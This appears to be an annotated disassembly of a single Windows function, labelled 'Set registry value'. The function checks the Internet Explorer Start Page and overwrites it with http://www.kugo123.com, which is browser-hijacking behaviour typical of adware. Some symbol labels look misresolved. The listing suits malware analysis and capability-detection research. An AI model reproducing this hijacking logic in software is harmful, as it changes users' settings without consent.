Function at 0x40a1c0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x451d46
mov eax, dword fs:[0]
push eax
sub esp, 0x414
mov eax, dword [0x470ee4]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x470ee4]
xor eax, esp
push eax
lea eax, [esp + 0x428]
mov dword fs:[0], eax
xor edi, edi
xor ebx, ebx
mov dword [esp + 0x18], edi
mov dword [esp + 0x430], ebx
mov dword [esp + 0x20], 0x400
call fcn.00414eb4
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x40a22c
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x1c], esi
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.WS2_32.dll_accept
mov byte [esp + 0x444], 1
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40a2f7
mov edi, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
push str.Start_Page
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], edi
call fcn.00409ba0
test eax, eax
jne 0x40a2f7
lea eax, [esp + 0x24]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x40a296
sub eax, edx
push eax
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x24]
call fcn.00401a30
lea ecx, [esp + 0x1c]
call fcn.00409e60
mov esi, dword [esp + 0x1c]
cmp dword [esi - 0xc], ebx
jl 0x40a2f7
push str.www.kugo123.com
push esi
call fcn.0043c125
add esp, 8
cmp eax, ebx
je 0x40a2f7
sub eax, esi
cmp eax, 0xffffffff
je 0x40a2f7
lea eax, [esi - 0x10]
mov byte [esp + 0x430], bl
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40a3b6
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftInternet_ExplorerMain
push reloc.WS2_32.dll_accept
mov dword [esp + 0x38], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jne 0x40a33d
xor eax, eax
cmp edi, ebx
je 0x40a331
push edi
call ebp
cmp eax, ebx
mov edi, dword [esp + 0x14]
mov dword [esp + 0x18], edi
je 0x40a36b
lea eax, [esi - 0x10]
mov byte [esp + 0x430], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a360
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x40a367
push edi
call ebp
xor eax, eax
jmp 0x40a3d2
push str.http:__www.kugo123.com
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
push str.http:__www.kugo123.com
push 1
push ebx
push str.Start_Page
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp edi, ebx
je 0x40a39f
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov dword [esp + 0x18], edi
lea eax, [esi - 0x10]
mov byte [esp + 0x430], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a3c2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x40a3cd
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [esp + 0x428]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.0043bb93
add esp, 0x420
ret